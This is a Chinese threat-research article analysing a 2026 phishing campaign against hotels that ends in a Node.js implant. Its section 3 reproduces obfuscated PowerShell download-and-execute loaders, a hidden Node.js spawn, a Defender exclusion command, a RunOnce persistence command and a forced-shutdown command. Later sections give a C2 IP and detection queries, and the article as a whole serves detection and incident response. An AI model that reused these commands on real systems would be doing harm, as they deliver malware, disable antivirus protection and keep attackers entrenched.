首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >酒店行业 Photo ZIP 定向钓鱼攻击与 Node.js 持久植入威胁深度研究

酒店行业 Photo ZIP 定向钓鱼攻击与 Node.js 持久植入威胁深度研究

原创
作者头像
芦笛
发布2026-06-29 09:15:03
发布2026-06-29 09:15:03
170
举报

摘要

2026 年 4 月起,攻击者发起针对全球酒店、文旅住宿行业的 Photo ZIP 多阶段钓鱼入侵活动,该攻击以游客投诉、客房核查等酒店业务场景为社会工程诱饵,依托合法第三方邮件转发服务实施认证洗钱绕过邮件安全校验,通过伪装图片格式的 LNK 快捷方式启动混淆 PowerShell 载荷,分两波迭代攻击链路并引入.NET 动态编译环节,最终部署 Node.js 持久化植入程序,依托注册表双启动项实现长期驻留,通过非标端口建立 C2 通信并执行终端强制关机、无头浏览器自动化等破坏与窃密行为。本文以微软安全研究团队披露的完整攻击链路、样本指标、狩猎规则为基础,系统拆解攻击全流程技术细节,对比两波攻击的技术演进差异,梳理攻击者规避终端防护、邮件检测、网络审计的核心手段,结合 MITRE ATT&CK 框架完成攻击战术映射,复现关键检测狩猎代码并验证防御逻辑缺陷。反网络钓鱼技术专家芦笛指出,该攻击代表当前垂直行业定向威胁的典型范式:攻击者放弃通用勒索传播模式,围绕行业业务场景定制诱饵与载荷链路,持续迭代混淆逻辑规避静态特征检测,双持久化机制大幅提升事件处置难度,传统单点杀毒、邮件网关防护已无法形成有效阻断。研究针对酒店行业前台、预订、接待岗终端的业务特征,从邮件入口防护、终端进程行为管控、注册表持久化审计、网络异常通信拦截、常态化威胁狩猎五个维度构建分层防御体系,给出可落地的检测规则、终端基线配置与事件闭环处置流程,为住宿文旅行业应对同类定向钓鱼持久植入攻击提供完整技术参考。

关键词:网络钓鱼;认证洗钱;LNK 伪装;PowerShell 混淆;Node.js 木马;注册表双持久化;酒店行业威胁;威胁狩猎

1 引言

1.1 研究背景

随着数字化运营在酒店、民宿、商旅服务行业全面普及,前台接待、客房预订、客户投诉处理岗位员工高频接收外部邮件、图片附件、客户回执文件,行业业务场景天然存在高钓鱼暴露面。住宿行业终端普遍存储客户身份信息、入住记录、消费账单、联系方式等高敏感数据,具备明确的数据窃取价值,成为定向网络攻击的重点目标。

传统钓鱼攻击多依赖通用模板批量分发,载荷以宏文档、压缩包病毒为主,防护体系依靠静态特征库、邮件信誉评分实现拦截,但 2026 年春季出现的 Photo ZIP 攻击活动呈现显著差异化特征:攻击者不再使用单一恶意附件,构建 “第三方服务转发邮件→多跳转钓鱼链接→图片伪装压缩包→混淆脚本加载器→Node.js 长期植入” 的完整链式攻击链路,持续迭代混淆逻辑与基础设施,且专门针对酒店多语种业务场景设计日语、丹麦语、荷兰语三类客户投诉诱饵,精准匹配欧洲、亚洲跨国酒店集团运营环境。

微软威胁情报团队自 2026 年 4 月持续跟踪该攻击活动,记录两波完整攻击迭代周期,完整披露载荷样本、C2 基础设施、注册表持久化机制、终端破坏行为等全维度指标,为垂直行业定向威胁的技术拆解、防御方案构建提供完整实证素材。现有学术研究多聚焦通用勒索病毒、无文件 PowerShell 攻击,针对文旅住宿行业定制化、分阶段、具备长期驻留能力的定向钓鱼攻击系统性研究较少,缺乏结合行业岗位终端业务特征的分层防御落地方案,也未针对该攻击独有的认证洗钱、RunOnce 循环持久化、Node.js 用户目录驻留等特有技术点开展专项分析,存在研究空白。

1.2 研究意义

理论层面,本文完整拆解垂直行业定向钓鱼攻击的标准化运营链路,梳理攻击者从基础设施筹备、社会工程诱饵设计、载荷混淆迭代、持久化机制搭建到后期 C2 控制、终端破坏的全流程技术逻辑,完善 MITRE ATT&CK 框架下住宿行业定向威胁战术映射体系,补充新型 “认证洗钱” 绕过邮件校验技术、RunOnce 循环持久化机制、Node.js 用户空间植入的技术研究素材。

实践层面,酒店行业 IT 安全运维普遍存在终端分散、员工安全意识薄弱、业务系统老旧、安全设备规则更新滞后等痛点,本文基于真实攻击样本提炼可直接部署的终端狩猎查询脚本、邮件过滤策略、注册表审计规则,构建贴合酒店前台、预订岗业务场景的分层防御模型,解决传统防护手段对多阶段迭代型钓鱼攻击检出率不足、感染后清理不彻底、复感染风险高的实际运维难题。反网络钓鱼技术专家芦笛强调,文旅住宿行业属于面向公众开放的服务型行业,无法通过完全阻断外部邮件、附件下载开展运营,必须建立 “行为检测优先于特征匹配” 的动态防护体系,本文研究成果可直接用于酒店集团安全基线建设、常态化威胁狩猎、钓鱼事件应急处置。

1.3 研究内容与文章结构

本文共分为七个核心章节,各章节研究内容如下:

引言:阐述研究背景、理论与实践意义,明确全文研究框架;

2 Photo ZIP 攻击活动整体概况:梳理攻击时间线、目标行业、社会工程诱饵、基础设施洗钱手段,区分两波攻击基础特征;

3 攻击全链路技术拆解:分初始访问、载荷执行、防御规避、持久化部署、C2 通信、失陷后行为六大环节,逐阶段解析技术实现逻辑,嵌入关键代码与命令行示例;

4 两波攻击技术演进对比:从文件命名、攻击链路、混淆逻辑、基础设施、持久化辅助模块五个维度对比 Wave1 与 Wave2 差异,分析攻击者迭代优化的核心目的;

5 基于 MITRE ATT&CK 框架的攻击战术映射:将全部攻击行为对应至 ATT&CK 战术、技术编号,明确攻击杀伤链各阶段对应防御控制点;

6 分层防御体系与检测狩猎实现:构建邮件、终端、注册表、网络四层防护架构,完整复现微软 Defender XDR 平台狩猎查询代码,给出酒店行业专属安全运维策略;

7 结论与展望:总结攻击核心技术特征,指出现有防护体系短板,提出后续垂直行业威胁防护研究方向。

2 Photo ZIP 攻击活动整体概况

2.1 攻击时间线与目标范围

本次攻击活动起始于 2026 年 4 月,持续至当年 6 月仍保持活跃,整体分为两个清晰迭代周期:第一波攻击(Wave1)运行周期为 4 月至 5 月中旬,第二波攻击(Wave2)自 5 月下旬启动并持续迭代至 6 月。攻击地理覆盖欧洲、亚洲多国,目标主体全部为酒店、度假村、商旅接待类住宿机构,受害终端设备命名统一带有 reception、frontdesk、reservations、accueil(法语接待)、recepcja(波兰语前台)等岗位标识,攻击者精准锁定直接对接客户咨询、投诉文件的一线接待员工。

攻击者未对外宣称攻击组织归属,微软情报团队未将该活动关联至已知高级持续性威胁组织,从基础设施复用、载荷哈希复用、持久化逻辑完全一致等证据判断,两波攻击由同一运营主体维护,迭代行为仅用于提升规避检测能力,未变更核心入侵与驻留逻辑。

2.2 社会工程诱饵与认证洗钱技术

2.2.1 多语种业务场景诱饵设计

攻击者依托酒店客户投诉场景设计三类语种诱饵模板,覆盖日语、丹麦语、荷兰语,全部采用无个性化通用模板,批量群发不携带收件机构、员工姓名,依靠紧迫感、声誉风险驱动员工点击链接下载恶意压缩包,核心诱饵主题包含:客户严重投诉、客房臭虫虫害报告、卫生检查强制通知、入住安全事故索赔、客房设施核查回执、入住评价索要通知。邮件发件人统一展示为 “Booking Manager (via Calendly)”,匹配酒店预订经理常规业务身份,降低员工警惕性。

2.2.2 基于 Calendly 与 Google 跳转的认证洗钱机制

认证洗钱是本次攻击突破邮件安全网关的核心技术手段,其核心逻辑为攻击者控制合法第三方 Calendly 预约平台账号,通过平台官方邮件通知渠道群发钓鱼邮件,Calendly 官方发送服务器自带合规 SPF、DKIM、DMARC 签名校验,邮件网关完成认证校验后判定邮件可信,忽略邮件内恶意跳转链接。

攻击者搭建两种跳转链路分发钓鱼链接:

链路 A(直连 Calendly 洗钱链路):calendly.com官方跳转链接直接指向 photo-*.cfd 钓鱼落地页,该链路发出的邮件全部通过 SPF、DKIM、DMARC 三重校验,邮件网关无拦截标记;

链路 B(多跳 Google 中继链路):Calendly 跳转→share.google 令牌短链接→谷歌域名重定向→.cfd 钓鱼页面,该链路仅 SPF 软通过,部分邮件网关会标记低风险,但多跳跳转掩盖最终恶意域名,人工核验难以识别真实落地地址。

钓鱼落地页部署 Cloudflare 人机验证 Turnstile 网关,实现反自动化爬虫分析、地域访问限制,仅人工点击访问可下载 photo - 随机数字.zip 恶意压缩包,进一步规避自动化沙箱检测。

2.3 恶意载体基础特征

攻击初始载体为浏览器下载的 ZIP 压缩包,命名规则统一为 photo-<随机数字>.zip,压缩包内部仅存放伪装图片的 LNK 快捷方式文件,通过修改文件后缀混淆用户视觉判断:Wave1 文件命名为 IMG - 随机数字.png.lnk,Wave2 升级为 PHOTO - 随机数字.png.lnk,两类 LNK 文件体积稳定在 1989 至 2079 字节区间,证明攻击者使用同一套载荷生成工具批量构建样本。

终端用户开启文件扩展名隐藏功能时,系统仅展示.png 后缀,员工会将快捷方式误认为客户提供的客房实拍图片,双击执行后触发完整攻击链路,该伪装手段是实现初始执行的核心社会工程载体。

3 攻击全链路技术拆解

攻击完整杀伤链分为六大阶段:初始访问与用户执行、PowerShell 混淆载荷加载、Wave2 专属.NET 动态编译、Node.js 植入程序部署、防御规避与持久化配置、C2 通信与失陷后恶意行为,各阶段技术实现逻辑、命令行、样本代码完整拆解如下。

3.1 初始访问与用户执行阶段

攻击者通过 Calendly 渠道分发多语种钓鱼邮件,嵌入多层跳转 URL;

员工点击链接,经过 Calendly、Google 多轮 301/302 重定向,跳转至 Cloudflare 防护的 photo-*.cfd 域名落地页;

用户完成人机验证后,浏览器自动下载 photo-xxx.zip 压缩包至系统 Downloads 目录;

用户双击压缩包内 IMG/PHOTO-xxx.png.lnk 伪装快捷方式,启动隐藏 PowerShell 执行逻辑,正式触发攻击载荷。

LNK 快捷方式内置隐藏命令行,不弹出终端窗口,后台静默调用 PowerShell 并开启绕过执行策略参数,是整个攻击链路的触发入口。

3.2 PowerShell 大整数混淆加载器(核心无文件载荷)

该攻击最核心的规避检测手段为持续迭代七轮 BigInt 大整数混淆解码逻辑,全部载荷依托 PowerShell 实现无文件落地加载,静态特征扫描无法捕获统一恶意字符串,七轮混淆迭代底层逻辑完全一致,仅通过替换运算符号、常量、变量名、循环结构规避特征匹配,基础执行逻辑固定为:大整数解码→提取远程.ps1 下载地址→调用 Invoke-WebRequest 下载脚本至 % TEMP% 临时目录→二次启动 PowerShell 执行下载脚本。

3.2.1 第一轮 XOR 大整数混淆代码示例

powershell

powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\";

$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w;

while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8};

iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing;

powershell -ep bypass -File $env:TEMP\eRJGv.ps1"

逻辑说明:定义两个超大 BigInt 数值,通过异或运算还原原始 URL 字符串,采用 0xFF 字节掩码、右移位运算逐字节拼接可访问地址,调用网络请求下载第二阶段脚本至系统临时目录。

3.2.2 第七轮 Wave2 循环混淆代码示例(最新迭代版本)

powershell

powershell.exe -ep bypass -c "$IcZWdT=100+156;

$strA=\"987654321...\" -as [bigint];

$strB=\"123456789...\" -as [bigint];

$result=$strA - $strB;

for($i=0; $result -ne 0; $i++){

$output+=[char]([int]($result % $IcZWdT));

$result=[bigint]($result / $IcZWdT)};

iwr $output -OutFile $env:TEMP\random.ps1 -UseBasicParsing;

powershell -ep bypass -File $env:TEMP\random.ps1"

Wave2 混淆优化点:使用 for 循环替代 while 循环,采用算术表达式 100+156 替代固定常量 256,引入 - as [bigint] 强制类型转换语法,变量名生成长随机字符串,完全规避基于循环结构、常量字符串的静态特征检测。

反网络钓鱼技术专家芦笛指出,此类持续迭代的轻量级混淆逻辑是当前企业邮件、终端防护的核心盲区:安全厂商多基于固定运算符、常量字符串建立威胁特征,攻击者仅替换运算方式、常量表达形式即可绕过拦截,单纯依靠静态签名无法检出此类动态混淆 PowerShell 脚本,必须依托进程行为链开展关联检测。

3.3 Wave2 专属.NET 动态编译环节

Wave1 攻击链路不存在.NET 编译环节,Wave2 新增 csc.exe(C# 编译器)、cvtres.exe 资源转换工具动态编译随机名称 DLL 文件,编译产物固定 3072 字节,代表攻击者新增内存载荷备选执行通道,编译流程命令行由下载的临时 ps1 脚本静默调用:

PowerShell 脚本写入临时 C# 源码至 % TEMP% 目录;

调用 csc.exe 编译源码生成目标 DLL;

调用 cvtres.exe 完成资源转换,输出随机命名 bjygtujc.dll 类文件;

微软观测数据显示,该 DLL 样本未直接通过 rundll32 加载执行,判断为攻击者预留备用载荷通道,用于后续拓展攻击手段,属于攻击链路前置铺垫环节,进一步提升沙箱动态分析复杂度。

3.4 Node.js 植入程序部署与驻留启动

经过 PowerShell 脚本中转后,攻击链路进入核心持久化植入阶段,攻击者复用官方原版 Node.js v24.13.0-win-x64 运行环境,规避自定义运行时带来的特征风险,完整部署流程如下:

从nodejs.org官方源下载 node-v24.13.0-win-x64 安装包,SHA256 固定为 d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11;

将 node.exe 解压至用户目录C:\Users\[用户名]\AppData\Local\Nodejs\,写入随机命名.js 恶意植入脚本;

执行隐藏分离进程命令,实现 Node.js 程序后台无窗口驻留,关键执行命令:

powershell

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath,

['C:\\Users\\[用户名]\\AppData\\Local\\Nodejs\\随机.js'],

{detached: true, stdio: 'ignore', windowsHide: true}).unref();

$command = $code | Out-File $env:TEMP\run.ps1;

powershell -WindowStyle Hidden -File $env:TEMP\run.ps1"

参数说明:detached 参数创建独立分离进程,windowsHide 完全隐藏程序窗口,unref 切断父进程关联,即便初始 PowerShell 进程关闭,Node.js 木马仍持续后台运行,实现基础进程持久化。

3.5 防御规避机制(终端安全工具篡改)

Node.js 植入程序启动后,第一时间执行 Windows Defender 防护排除操作,提前将临时目录待执行恶意 EXE 加入进程白名单,绕过实时扫描,核心命令行示例:

powershell

powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[用户名]\AppData\Local\Temp\utramdJQjRMJ.exe\""

攻击者在随机 EXE 文件执行前几秒批量添加排除规则,使恶意二进制文件落地、运行全程不受杀毒程序拦截;待 EXE 运行完成后,通过 is-*.tmp 命名的静默安装程序(参数 / VERYSILENT、/SL5)完成载荷解压、复制迁移,无弹窗、无用户交互,降低终端异常行为暴露概率。

3.6 双注册表持久化(攻击核心高危特性)

该攻击区别于普通木马的关键特征为双注册表循环持久化机制,同时修改 HKCU\Run、HKCU\RunOnce 两类启动项,形成双重驻留备份,清理难度大幅提升:

HKCU\Run 键:写入指向 AppData\Local\Nodejs\node.exe 的启动项,用户登录直接加载 Node.js 植入程序,长期维持 C2 通信通道;

HKCU\RunOnce 键:写入 C:\ProgramData\ 随机文件夹 \payload.exe 路径,单次登录执行 PE 载荷;

特殊循环逻辑:每次 RunOnce 内程序执行完毕后,木马自动重新写入 RunOnce 注册表项,常规 RunOnce 仅执行一次后自动删除,该循环机制导致单次删除注册表项无法根除后门,重启后自动恢复持久化配置,关键注册表写入命令:

cmd

cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce"

/v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f

载荷迁移路径固定为 C:\ProgramData\ 随机英文文件夹,全部使用小写随机文件名,同一载荷哈希复制多份分散存储,规避单文件删除完成清理。反网络钓鱼技术专家芦笛强调,双注册表驻留 + RunOnce 循环刷新机制是本次攻击处置最大难点:安全运维人员仅删除 RunOnce 内 PE 程序,Node.js 木马仍通过 Run 键持续运行,会自动重新生成失陷载荷与注册表项,形成反复感染闭环,应急处置必须同步清除 Node.js 运行环境、JS 植入脚本、两处注册表启动项、ProgramData 目录恶意 EXE 四类文件。

3.7 C2 通信与失陷后恶意行为

3.7.1 C2 通信基础设施与端口规范

攻击者区分长期稳定 C2 IP 与短期钓鱼域名两套基础设施:

稳定 C2 IP(Wave1、Wave2 共用):178.16.54.27,持续开放 56001、56002 端口接收木马心跳;其余 IP 为阶段性备用 C2 节点,仅短期活跃;

通信端口统一使用非标高端口,规避常规安全设备端口审计规则:8443、8445、8453、5555、56001、56002、56003;

域名体系:Wave1 使用.info、.pro、.xyz 通用域名,Wave2 新增.cloudflare 托管.cfd 域名,命名规则 photo - 随机数字.cfd,域名生命周期仅 2-3 天,批量轮换规避域名信誉拦截。

Node.js 木马启动时携带 C2 域名作为启动参数,主动向外网固定 IP 周期心跳上报终端状态,等待攻击者下发远程控制指令。

3.7.2 失陷后终端破坏与情报搜集行为

网络环境探测:木马调用ip-api.com接口查询终端公网 IP、地理位置,用于攻击者区分受害区域、调整攻击策略;

无头浏览器自动化:调用浏览器 --headless --no-sandbox 参数静默运行,批量访问内网业务系统、导出客户入住数据、截图业务后台;

强制终端关机:执行cmd /c shutdown -s -t 0命令,无延迟强制关闭前台终端,中断员工操作、销毁短期内存日志,阻碍安全人员现场溯源;

载荷自动重分发:若 Defender 拦截 ProgramData 目录 PE 程序,驻留 Node.js 木马会自动重新下载全套恶意二进制文件,重新配置持久化项,实现自我修复。

4 两波攻击技术演进对比分析

Wave1(4-5 月中旬)与 Wave2(5 月下旬 - 6 月)攻击核心入侵逻辑、C2 基础设施、Node.js 运行环境完全一致,全部针对酒店行业前台岗位,差异集中在载荷命名、攻击链路拓展、混淆逻辑、域名基础设施、防御规避模块五大维度,详细对比见表 1。

表 1 Wave1 与 Wave2 攻击技术特征对比

表格

对比维度 Wave1 第一波攻击 Wave2 第二波攻击 攻击者迭代目的

LNK 伪装文件命名 IMG - 随机数字.png.lnk PHOTO - 随机数字.png.lnk 规避基于 IMG 前缀的简易终端检测规则

攻击链路节点 PowerShell→Node.js 植入 PowerShell→csc.exe 编译 DLL→Node.js 植入 新增备用内存载荷通道,提升沙箱检测逃逸能力

PowerShell 混淆阶段 1-6 轮混淆,while 循环、0xFF 常量、异或运算 第 7 轮混淆,for 循环、算术常量、减法 + 取模运算 规避基于循环结构、固定常量字符串的静态特征库

域名顶级域 .info/.pro/.xyz/.icu 等通用域名 新增.cfd/.click/.bond 域名,Cloudflare 托管 利用全新小众域名无风险信誉,绕过邮件域名黑名单

持久化辅助模块 仅 PE 程序驻留 完善 EXE 静默安装包、临时目录批量排除规则 强化终端防御规避,提升载荷落地成功率

从迭代规律可判断攻击者运营思路:依托成熟稳定的核心攻击链路不做大范围重构,仅持续微调表层特征、新增辅助规避模块,以最小运维成本持续绕过安全设备静态检测,攻击目标始终聚焦酒店行业客户敏感数据窃取,未变更核心杀伤链。

5 基于 MITRE ATT&CK 框架的攻击战术映射

将本次 Photo ZIP 攻击全流程行为对应 MITRE ATT&CK v14 企业矩阵,完整映射攻击各阶段战术、技术编号,明确每类攻击行为对应的防御控制点,便于安全运维人员基于 ATT&CK 框架搭建检测规则:

资源开发(Resource Development)

T1583.001 基础设施获取:批量注册短期 photo-*.cfd 钓鱼域名,2-3 天轮换;

T1583.006 第三方服务获取:控制 Calendly 企业账号用于邮件转发;

T1584.006 基础设施劫持:滥用 Google share 域名开放重定向服务构建跳转链路。

初始访问(Initial Access)

T1566.002 钓鱼链接钓鱼:多语种客户投诉主题钓鱼邮件分发跳转链接;

T1199 信任关系滥用:依托 Calendly 官方邮件签名实现认证洗钱,绕过邮件安全校验。

执行(Execution)

T1204.002 用户执行恶意文件:员工双击伪装图片 LNK 快捷方式触发载荷;

T1059.001 PowerShell 执行:混淆大整数解码脚本下载第二阶段载荷;

T1059.007 JavaScript 执行:Node.js 环境运行恶意 JS 植入程序建立 C2 通道。

防御规避(Defense Evasion)

T1027 信息混淆:七轮迭代 PowerShell 大整数算术混淆;

T1027.004 投递后编译:Wave2 调用 csc.exe 本地编译.NET DLL;

T1036 文件伪装:LNK 快捷方式后缀伪装 PNG 图片;

T1562.001 修改安全工具配置:添加 Windows Defender 进程排除项。

持久化(Persistence)

T1547.001 注册表启动项:HKCU\Run、HKCU\RunOnce 双项循环持久化。

发现(Discovery)

T1016 网络配置探测:调用ip-api.com查询终端公网地理信息。

命令与控制(Command and Control)

T1571 非标端口通信:木马通过 8443、56001 等高端口建立 C2 心跳。

完整 ATT&CK 映射证明该攻击覆盖入侵全生命周期战术,防御体系需覆盖邮件入口、终端执行、注册表、网络外联全链路,单一环节防护缺失即可导致完整入侵链路打通。

6 面向酒店行业的分层防御体系与检测狩猎实现

结合酒店前台、预订岗终端业务场景(允许外部邮件接收、图片附件下载、网页浏览),构建四层分层防御架构:邮件网关前置防护、终端进程行为管控、注册表持久化审计、网络异常外联拦截,同步复现微软 Defender XDR 平台完整狩猎查询代码,所有规则可直接部署用于常态化威胁狩猎。

6.1 第一层:邮件网关反钓鱼前置防护(阻断初始访问)

针对攻击者认证洗钱、多跳转链接、photo 主题压缩包三大入口风险,配置邮件网关过滤策略:

Calendly 域名邮件专项风险评分:对em1618.calendly.com子域发出、发件人展示名为 Booking Manager 的邮件提升最高风险等级,强制隔离附件、拦截所有跳转 URL;

多层跳转链接检测:识别邮件内包含calendly.com/url?q=、share.google/TOKEN 的多级重定向链接,直接阻断下载行为;

压缩包附件过滤:拦截命名为 photo - 数字.zip 的压缩包,深度扫描压缩包内.lnk 快捷方式文件,检测 IMG/PHOTO-xxx.png.lnk 伪装载体;

多语种诱饵关键词拦截:配置日语、丹麦语、荷兰语客户投诉、虫害、卫生检查类关键词过滤规则;

反网络钓鱼技术专家芦笛指出,邮件网关是阻断该攻击最经济有效的前置控制点,优先拦截 Calendly 洗钱渠道可直接消除 80% 以上攻击入口,无需对全量外部邮件做高强度深度解析,平衡安全防护与酒店业务访问效率。

6.2 第二层:终端行为检测与进程管控(阻断载荷执行)

终端防护放弃传统静态特征查杀,以攻击行为链为核心配置检测规则,配套完整狩猎查询代码(Kusto 语言,适用于 Microsoft Defender XDR 高级狩猎)。

6.2.1 伪装图片 LNK 文件执行检测脚本

kusto

DeviceProcessEvents

| where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe"

| where ProcessCommandLine has ".lnk"

| where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk"

| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

| order by Timestamp desc

规则作用:实时捕获前台终端打开 IMG/PHOTO 前缀 png.lnk 伪装快捷方式行为,触发高优先级安全告警。

6.2.2 用户目录 Node.js 木马执行检测脚本

kusto

DeviceProcessEvents

| where FileName =~ "node.exe"

| where FolderPath has @"\AppData\Local\Nodejs\"

| where ProcessCommandLine has ".js"

| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

| order by Timestamp desc

规则作用:正常酒店业务终端不会在用户 AppData 目录存放 node.exe,匹配该路径执行 JS 文件直接判定为高危植入行为。

6.2.3 Wave2 .NET 动态编译行为检测脚本

kusto

DeviceProcessEvents

| where FileName in~ ("csc.exe", "cvtres.exe")

| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")

or InitiatingProcessFolderPath has @"\AppData\Local\Temp\"

| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

| order by Timestamp desc

规则作用:前台业务系统无 C# 编译开发需求,PowerShell 调用 csc.exe 属于异常高危行为,精准检出 Wave2 新增编译链路。

6.2.4 Defender 排除规则篡改关联检测脚本

kusto

let exclusionEvents =

DeviceProcessEvents

| where FileName in~ ("powershell.exe", "pwsh.exe")

| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess"

| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine;

let tempExecs =

DeviceProcessEvents

| where FolderPath has @"\AppData\Local\Temp\"

| where FileName endswith ".exe" or ProcessCommandLine has ".exe"

| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine;

exclusionEvents

| join kind=inner tempExecs on DeviceId

| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m)

| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd

| order by ExclusionTime desc

规则逻辑:30 分钟内同时出现添加杀毒排除项、临时目录 EXE 执行行为,判定为恶意载荷规避操作,联动终端自动隔离主机。

额外终端基线管控策略:

限制 PowerShell 绕过执行策略(-ep bypass)批量告警,前台终端仅允许受限语言模式;

禁止用户目录自动解压、静默安装程序运行,拦截 is-*.tmp 搭配 / VERYSILENT 参数进程;

系统文件扩展名显示强制开启,禁止员工隐藏后缀名,消除 LNK 伪装图片视觉欺骗条件。

6.3 第三层:注册表持久化专项审计(根除驻留后门)

针对双注册表循环持久化机制,配置注册表变更审计规则,配套狩猎查询代码:

kusto

DeviceRegistryEvents

| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run"

or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce"

| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\")

| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine

| order by Timestamp desc

运维处置规范:出现该类注册表写入告警时,必须同步执行三类清理操作:

删除 HKCU\Run 下指向 node.exe 的启动项,清空 AppData\Local\Nodejs 完整目录;

删除 HKCU\RunOnce 随机命名值,删除 C:\ProgramData 下随机文件夹及内部恶意 EXE;

终端全盘扫描匹配报告内 SHA256 恶意样本哈希,清除残留载荷,重启终端验证持久化项是否自动重建,确认无循环再生后解除隔离。

6.4 第四层:网络异常外联拦截(切断 C2 通信)

网络安全设备配置外联黑名单与异常端口告警规则,配套网络狩猎脚本:

kusto

DeviceNetworkEvents

| where RemotePort in (8443, 8445, 8453, 5555, 56001, 56002, 56003)

| where InitiatingProcessFileName =~ "node.exe"

or InitiatingProcessFolderPath has @"\AppData\Local\Temp\"

or InitiatingProcessFolderPath has @"\AppData\Local\Nodejs\"

or InitiatingProcessFolderPath has @"\ProgramData\"

| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl

| order by Timestamp desc

网络防护策略:

防火墙阻断已知 C2 IP 178.16.54.27 出站流量,封禁 56001、56002 等非标端口外联;

DNS 网关拦截 photo-*.cfd、.bond、.click 新型钓鱼域名解析请求;

监控 node.exe 进程对外网高端口发起心跳连接,一旦发现立即阻断主机网络并触发安全告警。

6.5 酒店行业配套安全运营机制

岗位分级钓鱼培训:针对前台、预订、接待岗开展专项培训,重点讲解图片后缀 LNK 伪装、Calendly 第三方钓鱼邮件识别方法,每月开展模拟钓鱼演练;

7×24 小时常态化狩猎:每日自动执行上述四层狩猎查询脚本,生成高危终端报表,安全运维人员 2 小时内完成告警核查;

事件闭环处置流程:告警触发→终端网络隔离→注册表 / 载荷全量清理→恶意样本哈希入库→邮件网关更新过滤规则→员工二次安全培训,形成完整防护闭环。

7 结论与研究展望

7.1 研究结论

本文以 2026 年针对酒店行业的 Photo ZIP 定向钓鱼攻击为完整研究样本,系统拆解从邮件洗钱分发、伪装 LNK 初始执行、七轮迭代 PowerShell 混淆、Wave2.NET编译拓展、Node.js 用户目录植入、Defender 防护篡改、双注册表循环持久化、非标端口 C2 通信到终端破坏行为的完整攻击链路,对比两波攻击技术迭代逻辑,完成 MITRE ATT&CK 全战术映射,得出三项核心结论:

第一,垂直行业定向钓鱼攻击已形成标准化运营范式,攻击者不再依赖广谱恶意软件批量传播,围绕行业业务场景定制社会工程诱饵,依托合法第三方服务实现邮件认证洗钱,大幅突破传统邮件网关静态检测,酒店、文旅等服务行业因业务特性具备极高暴露风险;

第二,混淆逻辑轻量化迭代、双注册表循环持久化、用户空间 Node.js 植入是当前定向后门规避防护的核心技术手段,传统基于特征签名、单次杀毒清理的防护体系存在显著短板,仅删除单一载荷或注册表项无法根除后门,木马具备自我修复、重新分发能力;反网络钓鱼技术专家芦笛强调,该攻击证明行为关联检测、全链路狩猎是对抗迭代型定向威胁的唯一可行路径,单点安全设备无法形成有效防护;

第三,攻击具备清晰的技术迭代规律,攻击者保留核心杀伤链不变,仅微调表层文件名、混淆常量、域名后缀规避静态拦截,防御体系需同步实现邮件前置过滤、终端进程行为审计、注册表持久化监控、网络外联拦截四层联动,针对酒店前台岗位业务场景定制轻量化检测规则,平衡安全管控与业务正常运营。

7.2 现有防护体系短板

当前酒店行业主流安全防护存在三类短板:一是邮件网关对第三方服务转发的洗钱邮件风险识别不足,仅依靠发件域名信誉判断邮件安全性,忽略 Calendly、Google 等可信平台被滥用分发恶意跳转链接的场景;二是终端防护过度依赖静态病毒库,对 PowerShell 动态混淆、用户目录无文件植入、循环注册表持久化等新型行为缺乏关联检测能力;三是安全运维缺少行业专属常态化狩猎规则,告警分散无联动,失陷终端处置流程不完整,存在复感染风险。

7.3 后续研究展望

基于本次 Photo ZIP 攻击研究成果,后续可从三个方向开展延伸研究:

面向服务行业的 AI 钓鱼诱饵识别模型研究:基于酒店、餐饮、零售行业业务话术训练语义识别模型,自动识别多语种客户投诉类定向钓鱼邮件,提前拦截认证洗钱链路;

基于进程行为链的无文件后门检测算法优化:针对 PowerShell 大整数混淆、Node.js 用户目录驻留等行为构建时序行为特征模型,提升动态混淆载荷检出率;

垂直行业轻量化安全基线开发:针对酒店前台、民宿前台、旅行社等轻量化终端设备,开发低资源占用的注册表审计、异常外联检测基线方案,适配中小文旅企业有限安全运维预算。

本次研究完整还原真实定向攻击全链路技术细节,提供可直接落地的狩猎代码、分层防护策略与应急处置流程,可为国内酒店、文旅服务行业网络安全建设、钓鱼事件应急响应、常态化威胁狩猎提供完整技术支撑,同时为网络安全厂商开发行业专属反钓鱼、终端威胁检测产品提供真实攻击样本与行为特征依据。

编辑:芦笛(公共互联网反网络钓鱼工作组)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

